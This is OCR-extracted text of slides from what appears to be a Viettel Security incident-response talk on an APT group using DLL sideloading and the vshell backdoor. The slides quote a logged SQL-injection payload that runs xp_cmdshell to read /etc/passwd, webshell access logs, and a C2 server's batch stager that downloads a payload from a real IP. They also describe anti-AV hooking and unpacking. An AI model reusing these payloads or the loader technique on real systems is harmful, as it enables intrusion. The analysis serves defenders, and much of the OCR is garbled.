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Log-Scale Count Heatmap: Day of Week vs Hour of Day

Hour of Day (GMT+7)
0o 1 2 3 4 5 & 7 8 9 10 1 12 13 14 15 16 17 18 19 20 21 22 23

70
Monday
50
40
Tuesday I 30
20
Wednesday
-
3
= 10
s Thursday
&
Q
Friday
Saturday
Sunday

APT TA-SC-31 group’s daily activities time in UTC+7



ttel

security

vie

I Attacked countries

o
&
£
o
3
i
=
3
e
S
8
o

Created with mapchart.net ¢



I Purpose

sql -h 127.0.0.1 -U postgres -d

psql
exit

-d

psql -

psql

psql
psql
psql
exit

viettel

security



I Initial Access viettel

security

2025-11-28 07:46:22 10.4.4.33 GET /pages/am_info.aspx from=home&id=7badd20c-79d0-4b34-a853-1480930£352d €0 - 154.211.104.106
Mozilla/5.0+(Windows+NT+10.0;+Win64d:+x64) +AvpleWebKit/537.36+ (KHTML, +1ike+Gecko) +Chrome/142.0.0.0+Safari/537.36+Edg/142.0.0.0

200 0 0 59
2025-11-28 07:46:22 10.4.4.33 [GET /pages/am info.aspx]
from=homesid=7badd20c-79d0-4b34-a853-1480930£352d&NucF=2621%20AND#2013%3D1820UNION320ALLY20SELECT320132CNULL32C#2733Cscript33Ealert328322X55%22%293%3C32Fscript33E
327%2Ctable name320FROM320information schema.tables$20WHERE32023381--32F32A32A%2F338320EXECS20xp cmdshell$283%27cat320, .32F. . 82F, .32FetcizFpasswd’27329323 80 -
154.211.104.106 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64) +AppleWebKit/537.36+ (KHTML, +1ike+Gecko) +Chrome/142.0.0.0+5afari/537.36+Edg/142.0.0.0
http://mms.vaeco.com.vn/pages/ho base user.aspx 500 0 0 28
2025-11-28 07:46:22 10.4.4.33 GET /pages/am_info.aspx from=homesid=7badd20c-79d0-4b34-a853-1480930£352d 80 - 154.211.104.106
Moz3i11a/5 04 (WinAnws4NT+1N. N2 4WinAd +¥Ad) +2nn] eNebKit/537 .36+ (KHTML, +1ike+Gecko) +Chrome/142.0.0.0+Safari/537.36+E4g/142.0.0.0

200 0 0 57
4ULD=11%40 UIG4034D AU.9.4.33 LBl /payes/am_ini0.aspx from=homesid=7badd20c-79d0-4b34-a853-1480930£352d%28%2C.427428429.8622%28. 80 ~ 154.211.104.106
Mazi1 13 /5. 04 (Windows+NT4+1N.N:4Winfd s exRd) +ann] eWebKit /537,364 (KHTML, +1ike+Gecko) +Chrome/142.0.0.0+5afari/537.36+Edg/142.0.0.0

200 0 0 123
0.33.72.10 - - [07/May/2026:10:32:31 +0700] "POST /wp-admin/update.php?action=upload-plugin HITP/1.1" 200 172276|
10.33.72.10 - - [07/May/2026:10:32:37 +0700] "GET /wp-includes/js/jquery/ui/draggable.min.js?ver=1.13.3 HTTP/1.1" 200 18420
10.33.72.10 - - [07/May/2026:10:32:37 +0700] "GET /wp-includes/js/backbone.min.js?ver=1.6.0 HTTP/1.1" 200 24301
10.33.72.10 - - [07/May/2026:10:32:38 +0700] "GET /assets//js//common.js HTTP/1.1" 301 -
10.33.72.10 - - [07/May/2026:10:32:38 +0700] "GET /assets/js/common.js HTTP/1.1" 404 51721
10.33.72.10 - - [07/May/2026:10:32:41 +0700] "GET /assets//js//common.js HTTP/1.1" 301 -
10.33.72.10 - - [07/May/2026:10:32:41 +0700] "GET /assets/js/common.js HTTP/1.1" 404 51721
10.33.72.10 - - [07/May/2026:10:33:00 +0700] "GET /wp-content/upgrade/xiongda/xionger.php HTTP/L1.1" 200 12
10.33.72.10 - - [07/May/2026:10:34:00 +0700] "POST /wp-content/upgrade/xiongda/xionger.php HTTP/1.1" 200 12
10.33.72.10 - - [07/May/2026:10:34:00 +0700] "-" 408 -
10.33.72.10 - - [07/May/2026:10:34:01 +0700] "POST /wp-content/upgrade/xiongda/xionger.php HTTP/1.1" 200 76
10.33.72.10 - - [07/May/2026:10:34:02 +0700] "POST /wp-content/upgrade/xiongda/xionger.php HTTP/1.1" 200 76
10.33.72.10 - - [07/May/2026:10:34:09 +0700] "POST /wp-content/upgrade/xiongda/xionger.php HTTP/1.1" 200 12
10.33.72.10 - - [07/May/2026:10:34:09 +0700] "POST /wp-content/upgrade/xiongda/xionger.php HTTP/1.1" 200 76
10.33.72.10 - - [07/May/2026:10:34:10 +0700] "POST /wp-content/upgrade/xiongda/xionger.php HTTP/1.1" 200 1228
0.33.72.10 — - [07/Mav/2026:10:36:21 +07001 "POST /wo-—content/uparade/xionada/xionger.pho HTTP/1.1" 200 436
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# 206.238.73.183:8082 = wmo.
Asset Recognition Lighthouse (ARL): Scope Sextry
Chinese-language asset discovery and attack TO—— N =
surface management framework originally o
hosted on GitHub. 399077
0 206.238.73.183:5003 = wco.
ScopeSentry: an open-source, distributed
Attack Surface Management (ASM) and S .
cyberspace mapping platform developed by 206.238.73.183 o
a Chinese developer. = Sigapre | Sngaor Sioapr o—
""" Accept

Tilemidiat Conten
londne
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I Malware overview flow viettel
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Side loading popular anti-virus system
- FireEye (spawner.exe)
Kaspersky (klcsldcl.exe)
Microsoft Defender (MpCmdRun.exe)
CrowdStrike (CSFalconService.exe)

DLL Sideloading:
sspicli.dll

Userenv.dll

>< X >< ecryp

Benign exe Malicious DLL Encrypted Payload
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v [ USERENV.dIl.sc x| i 2 9 2 @
DOS Headey o|1|z|s|a]s|e]|7]|e|o|n|B|c|p|E|E
B pos stub 1031560 Es 82 01 00 00 41 52 49 89 E2 41 52 49 88 72 10
RS i cade 1031570 49 8B 7A 20 EC B2 80 SR 06 48 EF C6 88 07 48 FF
Signature 1031560 €7 BB 02 00 00 00 00 D2 75 07 8A 16 48 EF C6 10
File Header 1031590 D2 73 E4 00 D2 75 07 &A 16 48 EF C6 10 D2 73 5E
Optional Header 10315A0 31 CO 00 D2 75 07 8A 16 48 FF C6 10 D2 OF 83 02
Section Headers 1031580 01 00 00 00 D2 75 07 A 16 48 FF C6 10 D2 11 CO
Y Sections 10315C0 00 D2 75 07 A 16 48 FF C6 10 D2 11 CO 00 D2 75
& 1031500 07 8A 16 48 FF C6 10 D2 11 €0 00 D2 75 07 8A 16
L. 10315E0 48 FF C6 10 D2 11 CO 74 09 57 89 CO 48 29 C7 8A
L. 10315F0 07 SE 88 07 48 FF C7 BB 02 00 00 00 EB 88 B§ 01
E 1031600 00 00 00 00 D2 75 07 8A 16 48 FF C6 10 D2 11 C0
: Disasm: boot ~ General ~ Strings DOSHdr File Hdr  Optional Hdr  Section Hdrs  ® Exports Imports Resources
4 retplne + 2 4
o voltbl Name  RawAddr. Rawsize Virtual Addr. Virtual Size Characteristics Ptr to Reloc. Num. of Reloc. Num. of Linenum.
i 800 D200 1000 26236 60000020 0 0 0
L. 1A00 28000 5714 40000040 0 0 0
£ 2600  2E000 4F60 €0000040 0 0 0
*® c00 33000 1380 40000040 0 0 0
&* 200 35000 21F0 40000040 o 0 0
& winlice 200 38000 18 €0000040 [ 0 0
& retpine 200 39000 8C 4 4 0 0
& voltbl 200 34000 F (] 0 0 0
= 200 38000 £8 40000040 o 0 0
- 800 3C000 136C 42000040 o 0 0
b 600 3£000 1600 40000040 0 0 [
& winlice 200 40000 1000 0000040 0 o 0
b =
£ 8 X | Virtual e
L.
o winlice el
& 430800 B78000
Twinlice] Twinhdel
= 127F000
& ]
L. e - 168E000
. TwinliGe] [winlice]
o winlice .
& 23800 210000 [ !
& .edata Tl [winlige]
o .idata e
& asrso00 [ L1
L. [E ]
v # boot z ey
=) EP = 1031560 & [boot]
3
File: D:/malware/APT earth lamia/IR 981/samples_SRVOTMD1_10.136.8.2 tuanla70_20260509_102545.404/samples/SAMPLE_20260509_10.136.8.2_SRVOTMD1_HaiNH45/CWindowsSystem32spool/USERENV.dll.sc Check for updates

> |




I Unpacking themida

1.  Finding the OEP

+ Using tiny_tracer by hasherezade to
monitor the api call of the packed
program.

+ Find the windows startup entry.

+ Looking for section change which
indicate the exit of packer.

312ae8;kernel32.GetModuleHandleA

312ae8; kernel32.GetProcAddress

GetProcAddress:
Arg[0] = ptr 0x7ff82cee0000 —> {MZ\x90\x00\x03\x00\x00\x00}
Arg[1l] = ptr 0x7ff82cf92e07 -> "UpdateProcThreadAttribute"

217963;kernel32.VirtualProtect
57f71;kernel32.VirtualProtect
57£71;kernel32.VirtualProtect
ala43;kernel32.VirtualProtect
1bd010;kernel32.VirtualProtect
312ae8;kernel32.GetProcessHeap
312ae8;ntdll.Rt1lAllocateHeap

312ae8; kernel32.GetProcessHeap
312ae8;ntdll.Rt1AllocateHeap
436cb;ntdll.Rt1RemoveVectoredExceptionHandler
1bd010; kernel32.SetCurrentDirectoryWw
10dd30; [.winlice] —> [ ]
2671c;section: [

26788; ] -> [.winlice]
5a054;section: [.winlice]
71494d;kernel32.GetSystemTimeAsFileTime
2678e;section: [ 1
26796;kernel32.GetCurrentThreadId
267a2; [ ] -> [.winlice]
58029;section: [.winlice]

6ebaad; kernel32.GetCurrentProcessId
267a8;section: [ 1

267b2; [ ] —> [.winlice]
8e326;section: [.winlice]
6f8fce;kernel32.QueryPerformanceCounter
267b8;section: [ 1

24ac7;CPUID: 0

24aee;CPUID:1

24b73;CPUID:7

270a0; [ 1 -> [.winlice]
94cd6;section: [.winlice]
51829%e;ucrtbase. initialize onexit_table
21f43;section: [

270a0; [ ] -> [.winlice]
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B scyilax64v0.9.8 - X
File Imports Trace Misc Help

Attach to an active process

7772 - DLLLoader64_F672.exe - C:\Users\kishou\Documents\malware\DLLLoader64_F672.exe ~  Pick DLL

Imports

? (9) FThunk: 0002AC78

kernel32.dll (1) FThunk: 0002ACCO

? (7) FThunk: 0002ACC8

kernel32.dll (2) FThunk: 0002AD00

? (24) FThunk: 0002AD10
kernel32.dll (1) FThunk: 0002ADDO

? (12) FThunk: 0002ADD8
msvep140.dll (47) FThunk: 0002AE48
veruntime 140.dll (11) FThunk: 0002AFC8 |
? (11) FThunk: 00028028

+ Themida have a dedicate memory
location for e .

+ Using Scylla to detect that section. g e
+ Resolve the api address. T sctrs oumo

OEP  00007FFB2CB7671C

+ Using Scylla to dump and fix the iat. - T g &
Size M Fix Dump |

Log

[#-#

2. Restoring api

[ ) ) ) - ) - )

&

el

Dump PE Rebuild

getApiByVirtualAddress :: No Api found 00007FFB2CCACDCS

getApiByVirtualAddress :: No Api found 00007FFB2CBCF7F2

getApiByVirtualAddress :: No Api found 00007FFB2CE026A0

getApiByVirtualAddress :: No Api found 00007FFB2CE3DCA3

IAT parsing finished, found 69 valid APIs, missed 82 APIs |

DIRECT IMPORTS - Found 0 possible direct imports with 0 unique APIs!

Imports: 151 % Invalid: 82 Imagebase: 00007FFB2CB50000  USERENV.dII
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2. Restoring api

+ Themida have a dedicate memory
location for

+ Using Scylla to detect that section.
+ Resolve the api address. (unicorn
emulation)

+ Using Scylla to dump and fix the iat.



I Indirect branch

There are 3 types of indirect
branch:

1 Direct indirect branch

2. Condition branch with cmov
3 Condition branch with set

There are many ways to

deobfuscate those:

1.  Generic approach
(symbolic execution,
emulation)

2. Heuristic approach (just
regex and symbolic
execution)

Thank you hexamine!

!

P pRcg e cnenyasm an i canecy s
mov rax, 7DC4B63D412FE2Elh

add rax, cs:qword_7FFF63B50228

call rax

mov [rsp+38h+var_8], @

mov rax, 376F11FC638E981Ah

mov [rsp+38h+var_10], rax

movzx  edx, cl

shl edx, 3
mov ecx, edx
lea ecx, [rox+rcox*2]

jmp rax
sub_7FFF63B2E6E@ endp

lea rex, [rax+rox+48h]
mov rax, 2F81DB8SEBBDEI7Sh

@a=

loc_7FFF63B2E726:

mov rax, [rsp+38h+var_1@]
mov [rsp+38h+var_18], rax
mov rax, [rsp+38h+var_18]
P o 3ZGE11ECA3REaR 10
sub rax, rex

setl cl

mov rax, cs:qword_7FFF63B851260]

mov rax, [rax+rcx]
mov rcx, 68E€9320923929C87h
add rax, rex

viettel
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Disassemble everything.
Finding all indirect call and indirect jump
Get the start position for the context of emulator

prevSize = None
for insn in md.disasm(textData, baseAddr+0x1000) :

if insn.mnemonic == “call"” and insn.op_str.startswith("r"):
calls.append(insn.address)
elif insn.mnemonic == "jmp" and insn.op_str.startswith("r"):

jumps.append(insn.address)
disassembly[insn.address] = [insn.mnemonic,insn.op str,insn.size,prevSize]
prevSize = insn.size
callAddrs = []
for call in calls:
res = getStartCall(call)
if res != None:
callAddrs.append([call,res])

jumpsInfo = []

for jump in D:
n = getStartJump(jump)
jumpsInfo.append(n)
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We emulate both case for conditional branch to get the result branch
From those information we patch the instructions to point to the right result

if jump. Jtype == 1: #type = cmov
symbols,falseVal,trueVal = symbExec(jump.before cond,cmovRegs=jump.regs)
symbolsFalse = deepcopy(symbols)
symbolsFalse[ExprId(jump.regs|[1],64)] = falseVal
symbolsTrue = deepcopy(symbols)
symbolsTrue[ExprId(jump.regs[0],64)] = trueVval
trueTarget = symbExec(jump.after cond,symbols=symbolsTrue,initSymbols=False)
falseTarget = symbExec(jump.after cond,symbols=symbolsFalse,initSymbols=False)
assert isinstance(trueTarget,ExprInt) and isinstance(falseTarget,ExprInt)
junkcodeAddrs = findIRDstUseDefs(jump.after cond)
assert checkInsts(junkcodeAddrs, jump.after cond, jump.jmpAddr)



I Indirect branch
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00L _ stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

B
{
if ( fdwReason == 1

return 1;

}

loc_7FFF63B2E666:
mov
add
mov
add
call
xor
mov
sub
mov

jmp

rcx,
rex,
rax,
rax,
rax

eax,
rex,
rax,

i |

2

3 )

4 ((void (*)(void))(*(_QWORD *)(qword_7FFF63B51250 - 0x70426C3C143D5B7BLL) + 0x3011B227BE370538LL))();
5

6

; CODE XREF: D1lMain+3041j
8FBD93C3EBC2A485h
cs:qword_7FFF63B51250
3011B227BE370538h
[rex]

eax
312DD71CCADBE450h
rcx

[rsp+58h+var_30], rax
loc_7FFF63B2E6DB



I Indirect branch

We are going to use hex-rays microcode
hook.

Hex-rays microcode is a feature inside
ida pro which can read, change the ida
pro IL (Intermediate Language) for better
decompiler

Here | used d810-ng a fork from d810.
Which help a lot in writing deobfuscator
on microcode level.
(github.com/acheron2302/d810-ng)

viettel

security

def check_candidate(self, candidate) -> bool:

if (self.ro_dword_min_ea is None) or (self.ro_dword_max_ea is None):
return False
leaf = candidate["ro_dword"]
if leaf is None:
return False
mop = leaf.mop
if mop is None:
return False
mop_t = getattr(mop, "t", None)
if mop_t != ida_hexrays.mop_v:
return False
mem_read_address = getattr(mop, “g", None)
if mem_read_address is None:
return False
if not (self.ro_dword_min_ea <= mem_read_address <= self.ro_dword_max_ea):

return False

num = self._resolve_address_from_mop(mop)
if num is None:
return False
size = mop.size or @
if size == O:
return False
early_rule_logger.info(f“Found candidate and changing num to size: {num}:{size}")
candidate.add_constant_leaf("val_res™, num, size)

return True
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1 BOOL __ stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
24
® 3 if ( fdwReason == 1)
4 install veh();
® 5 return 1;
® 61} _ _ _ - _ _ _ _ _ _ _
3t IBOOL install _veh()
2 {
3 HMODULE ModuleHandleA; // [rsp+206h] [rbp-8h]
4
® 5 [ModuleHandleA = GetModuleHandleA(OLL);
® 6 lpAddress[@] = (char *)ModuleHandleA
7 + *(unsigned int *)((char *)ModuleHandleA + *((unsigned int *)ModuleHandleA + 15) + 40);
® 8 AddVectoredExceptionHandler(lu, (PVECTORED EXCEPTION HANDLER)Handler);
o return VirtualProtect(lpAddress[6], 1ull, @x12u, TpfloldProtect);
® 10}




Control flow flattening

1 BOOL _ stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOIl
2 {

3  unsigned __int64 i_3; // rax

4 unsigned _ int64 i_1; rax

5 unsigned _ int64 i _2; rax

6 unsigned __int64 i 4; // rax

7 signed __int64 i; // [rsp+28h] [rbp-3@h]

8

9 for (i-= beED228E330076AFAuLL; 3 1 = @xCED228E3259D6909uLL )
1e

11 while (1)

2 {

13 while ( i > (__int64)@xCED228E38776FCIFuLL )

14 {

15 if (i < (__int64)@xCED228E3B@A76AFAULL )

16

17 if (i >= (__int64)@xCED228E392338A42uLL )

18

19 1 = @xCED22B8E38776FCAGULL;

20 if ( (int)fdwReason < 2 )
i1 @xCED228E36EBA97C5uLL;

= @xCED228E3DB336FQAULL;

( fdwReason - 2 <=1 )

28 i 2 = @xCED228E335271BBOuLL;
£23

30 }

31 }

32 else if ( i < (_ int64)@xCED228E3DB336FOAULL )
=

i 3 = OxCED228E392338A42ulL:

var_1e= quord ptr -16h
var_a= dword ptr -4

sub

rsp, 58h
[rsp+58h+var_18], r8
[rsp+5shevar_14], edx
[rsp+SBhevar_20], rex
eax, [rsp+Sshevar_14]
[rsp+Sshevar_4], eax
rax, @CED228E360876AFAR
[rsp+58hevar_38], rax

loc_7FFF63B2E149:

viettel
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rax, [rsp+58h+var_3e]
[rsp+58hevar_38], rax
rax, [rsp+58h+var_38]
rcx, @CED228E38776FCIFh

ax, rex
loc_7FFF63B2E 38C

jmp  loc_7FFF63B2E195

loc_7FFF63B2E195:

mov  rax, [rspssshevar_38]
mov rcx, OCED228E3B8O76AFAR
sub  rax, rex

i1 loc_7FFF6382E24F

loc_7FFF63B2E38C:
mov rax, [rsp+58h+var_38]
mov rcx, BCED228E368795652h|
sub rax, rcx
i1 loc_7FFF63B2EAA0

™

loc_7F FF63B2E4A9:

rax, [rsp#58hsvar_38]
rex, BCED228E335271888h
rax, rcx
loc_7FFF63B2E53A




Control flow flattening

1 BOOL _ stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOIl
2 {

3  unsigned __int64 i_3; // rax

4 unsigned _ int64 i_1; rax

5 unsigned _ int64 i _2; rax

6 unsigned __int64 i 4; // rax

7 signed __int64 i; // [rsp+28h] [rbp-3@h]

8

9 for (i-= beED228E330076AFAuLL; 3 1 = @xCED228E3259D6909uLL )
1e

11 while (1)

2 {

13 while ( i > (__int64)@xCED228E38776FCIFuLL )

14 {

15 if (i < (__int64)@xCED228E3B@A76AFAULL )

16

17 if (i >= (__int64)@xCED228E392338A42uLL )

18

19 1 = @xCED22B8E38776FCAGULL;

20 if ( (int)fdwReason < 2 )
i1 @xCED228E36EBA97C5uLL;

= @xCED228E3DB336FQAULL;

( fdwReason - 2 <=1 )

28 i 2 = @xCED228E335271BBOuLL;
£23

30 }

31 }

32 else if ( i < (_ int64)@xCED228E3DB336FOAULL )
=

i 3 = OxCED228E392338A42ulL:

var_1e= quord ptr -16h
var_a= dword ptr -4

sub

rsp, 58h
[rsp+58h+var_18], r8
[rsp+5shevar_14], edx
[rsp+SBhevar_20], rex
eax, [rsp+Sshevar_14]
[rsp+Sshevar_4], eax
rax, @CED228E360876AFAR
[rsp+58hevar_38], rax

loc_7FFF63B2E149:
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rax, [rsp+58h+var_3e]
[rsp+58hevar_38], rax
rax, [rsp+58h+var_38]
rcx, @CED228E38776FCIFh

ax, rex
loc_7FFF63B2E 38C

jmp  loc_7FFF63B2E195

loc_7FFF63B2E195:

mov  rax, [rspssshevar_38]
mov rcx, OCED228E3B8O76AFAR
sub  rax, rex

i1 loc_7FFF6382E24F

loc_7FFF63B2E38C:
mov rax, [rsp+58h+var_38]
mov rcx, BCED228E368795652h|
sub rax, rcx
i1 loc_7FFF63B2EAA0

™

loc_7F FF63B2E4A9:

rax, [rsp#58hsvar_38]
rex, BCED228E335271888h
rax, rcx
loc_7FFF63B2E53A




I Control flow flattening

* Config: default_unflattening_ollvm.json

Unflattening O-LLVM with control flow flattening

Filter rules

Enabled  Disabled * Configurable

Rules

vV Control Flow (2/3)
forkMerter

v Flow Preconditioning (1/1)

All can be done with d810-ng

Project

Rules
Unflattener

Remove control flow flattening generated by OLLVM

Maturities: MMAT_CALLS, MMAT_GLB

1, MMAT_GLBOPT2

Configuration

maturities e ‘

MMAT_GLBOPT1 MMAT_GLBOPT2

dump_intermediate_microcode
priority 300 :

whitelisted_functions

blacklisted_functions comma-sef

max_passes 5 :

- d max_duplication_passes 20 :
b reconditioner
v . 0 min_dispatcher_intemal_block 2 S
i e min_dispatcher_exit_block 2 :
ps
v Indirect Jumps (0/1) min_dispatcher_comparison_value 2 3
## IndirectBranchRe: max_calls_entry_preds 24 :
¥ OLLVM Unflattening (1/9)
s flattenCo FlowR max_calls_exit_blocks 24 :
& ene e defer_calls_on_conditional_entry_father
o Le log_calls_layout_signals
o
= Gkl min_cfg_edges_required -1 :
& B e per_function_overrides {
4 Unflattener
5 pre_unflatten_optimize_local_rounds 0 3
Engine.

MMAT_CALLS

Start ] l Stop ] [

Config I Loggers

Profile

TestRunner

viettel

security



I Control flow flattening

IDA View-A

(=] & X

[rbp+250h+v_getModul
[rbp+250h+v_getModul
rax, cs:qword_180030
rcx, 0C4B11278E41578
[rbp+256h+var_230],
rax, rex

rdx, cs:qword_180031
rcx, 84A44F320A97554
rdx, rcx

rcx, g_pstr_kernel32
[rbp+250h+sz_dll_nam

rcx, [rbp+250h+var_2
rax, cs:qword_180030
rax, rcx

rdx, cs:qword_180031
rcx, 84A44F320A97650
rdx, rcx

rcx, g_pstrGetModule
[rbp+250h+v_pstrProc

rcx, [rbp+250h+sz_dl
rdx, [rbp+250h+v_pst
r8, [rbp+250h+var_23
rax, cs:qword_180030
rax, r8

r8, rsp

dword ptr [r8+20h],
r8, [rbp+250h+v_getM
rod, 3

0000C83A /000000018000D23A: mw_mai| (Synchronized with Hex V

viettel

security

[E) Pseudocode-A o & x

o0 000

1 // MAIN PAYLOAD FLOW: 1l.Decode strings (kernel32.dll, GetModuleFileNameA, etc), 2.Get host exe path, 3.Bui’
// write access to const memory has been detected, the output may be wrong!
__int64 mw_main_code()

{

v18 = OxFFFFFFFFFFFFFFFEuULL;

v_getModuleFileNameArgs.hModule = NULL;

v_getModuleFileNameArgs. LpFilename = pszExePath;

10 v_getModuleFileNameArgs.nSize = MAX_PATH;

11 | mw_xor_decode_kernel32_dll(dst: g_pstr_kernel32_dll, src: g_encoded_data);// kernel32.dll

12 mw_xor_decode_GetModuleFileNameA(dst: g_pstrGetModuleFileNameA, src: &g_encoded_data[0xFC]);// GetModule
13 // exec GetModuleFileNameA

14 // Gets full path of host executable

15 dwPathLen = mw_proxy_api_call_via_threadpool(

LN hWN

16 pstrLibFileName: g_pstr_kernel32_dl1l,

17 pstrProcName: g_pstrGetModuleFileNameA,
18 pFunctionArgs: &v_getModuleFileNameArgs,
19 nArgs: 3u,

20 param2: 0);

21 std_string_assign_wrapper (outputStr: &stl_szExePath, srcString: pszExePath);
22 mw_xor_decode_backslash(Buf: g_str_backslash, a2: &g_encoded_data[0x134]);// \
23 // Find the last backslash in the path.

24 // Extract directory from exe path

25 last_backslash_pos = mw_find_sub_str(

26 srcString: &stl_szExePath,
27 targetStr: g_str_backslash,
28 Max: OXFFFFFFFFFFFFFFFFuLL);

29 sub_180013F90 (inputStr: &stl_szExePath, outputStr: &stl_szExePath_cp, startPos: 0, psrcStr: last_backsla:
30 mw_xor_decode_vcruntimeld4l_dll(g_str_vcruntimeld4l_dll: g_str_vcruntimeld4l_dll, a2: &g_encoded_data[0x16B

31 std_string_concat_wrapper (
32 outputStr: &stl_vcruntimeldl_dll_path,
33 inputStr: &stl_szExePath_cp,

0000C23A me_main_code:11 (13000D23R) (Synchronized with IDA View-A, Hex View-1



I Malware BlockDIl hook viettel

security
The process restrict only Microsoft signed DLL can be hook into the process.
This method is use in order to prevent the dll userland from AV productions from hooking inside the
new process.

Protecting Your Malware with blockdlls and ACG - XPN Infosec Blog

et A wg oy

// Microsoft Detours API Hooking
if ( g_pbPayload != 0 )
{
payload_data = std::addressof<char *>(pbTarget: &fileContenPtr);
payload_size = get_payload_size(pbTarget_1: &fileContenPtr);
memcpy_w(Dest: g_pbPayload, Src: payload_data, Size: payload_size);
// Initialize hook transaction
DetourTransactionBegin();
// Update thread context for hook
hCurrentThread = GetCurrentThread_w();
DetourUpdateThread(hThread: hCurrentThread)
// Attack hook to CreateProcessA
// Creates trampoline to original function
DetourAttach(ppPointer: &CreateProcessA, pDetour: mw_hooked_CreateProcessA_add_mitigation_policy);
// Commit all pending hook operations
DetourTransactionCommit();
g_pbPayload() ;
vl7 = 03


https://blog.xpnsec.com/protecting-your-malware/

I Decrypting flow viettel
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Recipe ~BmE  npu +Oz8=

Th t d I d t H th' ED 73 EE F3 6A 01 @6 FA 60 73 51 A4 23 9A EE FO
e enCryp e pay Oa Con aln IS AES Decrypt 2 38 FA 94 00 58 CA 50 96 11 C1 FE 13 23 CE 19 3@
A8 5D 50 C8 BD 9C C@ 57 D8 7A F6 84 25 EB Al 79

H H . Key UTFe L UTFa~ C4 A7 A4 52 9B 41 BC 75 07 9B 66 3D ED F3 @D D9
N Ormatlons_ ajksdfilj2h3adfee.. ajksdfilj2h3adfee.. DA T 5k 5 L ob Sl Boieh BhShTee ne &
C1 81 66 ©A B7 A2 79 D9 A2 D@ 3B 2A 73 63 8F 18

. . . . Mode Input Output V from input 33 04 80 D6 E6 55 CF 28 36 22 06 95 26 07 10 AF

1. The first 4 bytes which is the size of e of oo 1o 255 325000 70 12 7 40 51 5 8 0
37 E9 B1 DF 4D C3 BF 6E 9C ©1 49 @5 FB 6C 48 D7

7C D1 62 E5 7D E3 4E 03 18 BE FC 94 AB BA C1 CA

the payload . 92 68 5B 6F OF C2 E1 @D 2D 89 EA 97 @A 6F 73 SF

83 B3 FC BD 43 47 SF 4B 66 ED 28 23 EA BS 62 6F
47 41 8D 62 @1 C7 C4 38 90 C2 74 AD D7 34 DB 18

2. The encrypted payload using mummmswE G s
aes-128. nrEETeasRaNL D

3. The key which is encrypted with o Cremnmee ]
reverse + base64 10 times + reverse BD®

4. Using the decrypted key, we use the B e = S i ——
aes128 algo to decrypt the encrypted

payload.

As:

58 68 46 47 61 6B 5A 55 5A 4A 6C XhFcxEGakzUYZJ1V
6C 5A 6B 6C 65 6F 4E 6A 57 42 6E 1ZkSqZleoNjVWBnR
6A 64 6B 56 4E 7A 4A 6A 58 68 33 jdkSXZVNzJjVXh3R
69 39 6B 31 56|53 5A 31 54 68 47 19kQEp1VSZ1YThGb

31 56 6B 74 57 34 6C 6B Z11UHd1VktWV41kM




I The stage2 dropper

This shellcode dropper is built for loading the dll file inside of its.

Its main functionality include:
Map the file to the correct virtual section.
Rebase the program.
Load the winapi from the import address table.
Run to the entrypoint of the dll.

BN =

seg000:
seg00o:
seg00o:
seg000:
seg000:
seg000:
seg000:
seg00o:

$eg000:
Seg000:
$eg000:
$eg000:
$eg000:

$eg00o:
$eg00o:
seg00o:
seg00o:
Seg000:

seg0OO:
$eg00o:

seg000

T [T S e e e A

00000000000012BC
00000000000012BC
00000000000012BC
00000000000012C4
00000000000012C7
00000000000012CC
00000000000012CF
00000000000012D2

0000000000EO12EL
0000000000EO12E8
00000000000012E8
00000000000012E8
00000000000012E8

00000000000012EB
00000000000012EC
00000000000012F0

0000000000001321

0000000000001329

0000000000001332

0000000000001338
:0000000000001361

e | e

LoCEI2BES

aHisProgramCann

db

Ty

5 CODE XREF: sub_0+10A9+j
5 sub_0+1194+j ...

rax, [rsp+2C8h+var_230]

eax, [rax+28h]

recx, [rsp+2C8h+var_278]

rex, rax

raxs rex

[rsp+2C8h+var_58], rax

i [rsp+2C8h+var_58]
rsp, 2C8h

300h

OFFFFO000000400h, ©0B80Oh, 4000h, 3 dup(0)
0

4 dup(0), 86h, 2 dup(@)
(]

©Eh, 1Fh, OBAh, OEh, 0, 0B4h, 9

0CDh

2ih At

1B8h, 0CD4Ch, 5421h

'his program cannot be run in DOS mode.',0Dh,0Dh,0Ah

L]

viettel

security



I The final stageless vshell viettel
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The stageless vshell is a generated malware using vshell framework which is leaked on the
internet in October 2023.

The Vshell malware is obfuscated in garble which destroy the golang .pcintab and the name
of golang functions.

The dropper config decrypt steps are describe in below:
1.  Getting the first 16 bytes as key.

2. Getting the next Oxffe0 as the encrypted config.

3. Decrypt the config with the 16 bytes key.

v16 DDQURBrX5QH5_HwKOxQYww_GettingValueFromMap(al: (int)alLl, a2: 2, a3, a4, (__int64)a5, a6, a7, a8, a9);
vlig = v10;

*(_QWORD *)&v13[1] = vi1l;

v13[0] = 25;

c8soy0_YALPL6VWzFO(al: (__int64 *)vl13, a2: 1, a3: 1);

gmemcpy(v1l5, unk_13C5383, sizeof(vls));

c8soy0_AYVZPNkM_aes_decryption(al: v16, a2: vl4);

vl2 = mGlAibiNT_QEKZOY_ExecutePayload()

vitmtama hla~L /a1 102NV



I Vshell Capabilities viettel
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File Manager

*Enumerating folders
*Reading files
*Modified/Creating files
*Upload/Download files

Plugins

* Mimikatz
*Gost
*Fscan
*AddUser

Keylogger

*Keylogger
*Screenshot
*Clipboard



I Hunting for vshell viettel
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Everyside which host vshell CnC always have nginx default page at the CnC port

! =cure 64.118.147.88:8084

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.

For online documentation and support please refer to nginx.org.
Commercial support is available at nhginx.com.

Thank you for using nginx.



I Hunting for vshell viettel
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On sending the GET request with /swt, the CnC server return back the stager for windows

http://64.118.147.88:8084/swt [2) Save

v

GET v http://64118.147.88:8084/swt

Params Autho Body @ Tests Settings Cookies
Query Params ‘
KEY VALUE DESCRIPTION eoo  Bulk Edit
Body Co s Headers (4) Test Results ® Save Response v
Pretty Raw Preview Visualize Text v = mQ
1 @echo off
2 setlocal enabledelayedexpansion

I

set ub4="http://64.118.147.88:8034

64.118.147 . 88&p=8084&t=tcp&a=w64&stage=true”

5 set u32="http://64.118.147.88:8084/ 64.118.147.88&p=3084&t=tcp&a=w32&stage=true"
6 set v="C:\Users\Public\ec7ebdl4tcp.exe"
7 del %v¥
8 for /f "tokens=+" %%A in (‘'wmic os get osarchitecture | findstr 64') do (
9 set "ARCH=64"

10 )

